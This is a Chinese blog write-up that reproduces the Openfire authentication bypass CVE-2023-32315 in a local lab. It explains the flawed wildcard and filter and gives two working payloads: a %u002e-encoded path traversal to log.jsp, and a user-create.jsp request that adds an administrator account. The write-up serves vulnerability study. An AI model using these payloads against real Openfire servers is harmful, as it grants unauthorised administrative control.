漏洞复现学习:openfire鉴权绕过漏洞复现(CVE-2023-32315)

目录

环境搭建:

参考文章:

实验开始:


环境搭建:

靶场:Windows10

Openfire版本:4.7.4版本  安装地址:Openfire4.7.4

参考文章:

openfire鉴权绕过漏洞原理解析 (qq.com)

Administration Console authentication bypass · Advisory · igniterealtime/Openfire · GitHub

本文章只是个人学习时做的笔记,记录一下,如果有写的不好的地方可以提出来,也请谅解轻喷。

实验开始:

该漏洞影响版本:

3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4

漏洞分析

我们进入window10下的openfire的目录下,找到Openfire\plugins\admin\webapp\WEB-INF\web.xml文件,我们对该代码进行审计

这串代码就是openfire的鉴权机制,我们看到这红框中的最后有一个通配符,而我们可以利用这个通配符从而达到绕过openfire的鉴权机制。我们继续审计代码。

上面的图片是我通过其他博客上面截图下来的,因为我实在找不到这些源码的位置,就当作参考了。

第一张图里的代码,它会先判读是否含有setup/setup-*,如过含有就会跳到下面的判读,接下来的判断就是对用户输入的字符串进行一个过滤,如果用户输入的字符串不含有..和%2e,则返回true。看到第二个图,当返回true的话,他将会break退出,就不需要鉴权验证。

因为..和%2e被过滤了,那我们就将..进行Unicode编码,编码为%u002e,验证payload:/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

这个payload可以用于验证是否存在鉴权绕过漏洞。既然它存在这个漏洞,我们就可以利用这个漏洞进行登录后台,我们先登录进后台,发现有一个创建用户的功能

我们先对其进行抓包

利用漏洞创建管理员用户

这是创建用户的包,那么我们可以利用创建用户的参数和漏洞进行结合创建一个拥有管理员权限的用户,用户和密码为user

payload:/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=jVgaRDMfG6j7JLE&username=user&name=&email=&password=user&passwordConfirm=user&isadmin=on&create=Create+User

注意(这里面的csrf的值要和抓包之后cookie里的csrf的值一样)

实验完成

  • 24
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值